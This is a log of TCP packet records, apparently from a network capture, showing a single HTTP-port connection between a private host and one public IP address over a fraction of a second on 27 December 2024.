Dec 27, 2024 08:52:22.584533930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.584551096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.584609985 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.585467100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.585537910 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.585562944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.585599899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.586460114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.586502075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.586543083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.586604118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.587428093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.587474108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.587532997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.587572098 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.588412046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.588458061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.588521957 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.588562012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.589416027 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.589459896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.589520931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.589560032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.590425014 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.590464115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.590526104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.590567112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.591370106 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.591418982 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.591505051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.591545105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.592369080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.592413902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.592477083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.592519045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.593391895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.593441010 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.593509912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.593552113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.594389915 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.594436884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.594480038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.594518900 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.595412016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.595469952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.595484972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.595534086 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.596369982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.596443892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.596546888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.596586943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.597348928 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.597395897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.597434998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.597479105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.598335981 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.598382950 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.598417997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.598460913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.599323988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.599364996 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.599426031 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.599462032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.600303888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.600344896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.600416899 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.600455999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.601294994 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.601332903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.601406097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.601443052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.602291107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.602330923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.602389097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.602427006 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.603286028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.603328943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.603387117 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.603425026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.604273081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.604312897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.604379892 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.604415894 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.605252028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.605317116 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.605364084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.605403900 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.606265068 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.606304884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.606376886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.606415033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.607235909 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.607297897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.607340097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.607378960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.608274937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.608335018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.608336926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.608397007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.609268904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.609311104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.609347105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.609380960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.610295057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.610336065 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.610404968 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.610441923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.611212015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.611254930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.611294985 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.611331940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.612212896 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.612257004 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.612296104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.612334013 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.613239050 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.613281965 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.613339901 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.613379002 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.614202023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.614259958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.614290953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.614324093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.615179062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.615225077 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.615292072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.615333080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.616163015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.616209984 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.616277933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.616313934 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.617788076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.617845058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.617912054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.617954016 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.618132114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.618172884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.758446932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.758466005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.758479118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.758523941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.758543015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.758559942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.758590937 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.759406090 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.759449005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.759577036 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.759618998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.760426998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.760472059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.760505915 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.760545015 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.761396885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.761450052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.761483908 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.761529922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.762422085 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.762471914 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.762501001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.762542009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.763380051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.763427973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.763468027 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.763520956 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.764368057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.764415979 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.764466047 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.764507055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.765372038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.765428066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.765471935 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.765512943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.766335964 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.766391993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.766443968 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.766484976 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.767368078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.767425060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.767451048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.767489910 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.768326998 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.768374920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.768444061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.768486977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.769337893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.769387960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.769429922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.769469023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.770315886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.770368099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.770468950 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.770512104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.771318913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.771361113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.771411896 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.771452904 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.772300959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.772356033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.772392035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.772433996 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.773298025 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.773350000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.773395061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.773432970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.774291992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.774337053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.774375916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.774415016 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.775265932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.775381088 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.775475979 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.775475979 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.776282072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.776335955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.776349068 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.776388884 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.777270079 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.777321100 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.777368069 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.777407885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.778279066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.778338909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.778366089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.778409004 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.779254913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.779304028 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.779354095 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.779392004 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.780217886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.780271053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.780314922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.780354977 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.781248093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.781294107 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.781338930 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.781385899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.782238007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.782299042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.782337904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.782380104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.783201933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.783261061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.783307076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.783353090 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.784198046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.784251928 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.784295082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.784337044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.785200119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.785252094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.785286903 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.785326004 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.786183119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.786236048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.786295891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.786339045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.787178993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.787240028 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.787283897 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.787331104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.788186073 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.788239002 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.788259029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.788299084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.789148092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.789221048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.789267063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.789308071 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.790163994 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.790209055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.790282011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.790324926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.791179895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.791229010 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.791244984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.791282892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.792136908 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.792196989 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.792241096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.792283058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.793171883 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.793229103 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.793262959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.793304920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.794132948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.794210911 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.794244051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.794286013 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.795093060 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.795142889 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.795182943 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.795224905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.796098948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.796147108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.796224117 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.796268940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.797076941 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.797126055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.797166109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.797204018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.798063993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.798120975 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.798178911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.798223972 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.799057961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.799115896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.799160957 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.799200058 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.800051928 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.800101042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.800133944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.800170898 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.801058054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.801110983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.801141024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.801199913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.802046061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.802108049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.802148104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.802192926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.803025961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.803083897 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.803123951 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.803164959 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.804028988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.804079056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.804128885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.804171085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.805013895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.805058002 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.805113077 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.805170059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.806020021 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.806066990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.806102037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.806139946 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.806973934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.807022095 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.807066917 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.807106972 CET	49970	80	192.168.2.6	185.215.113.16
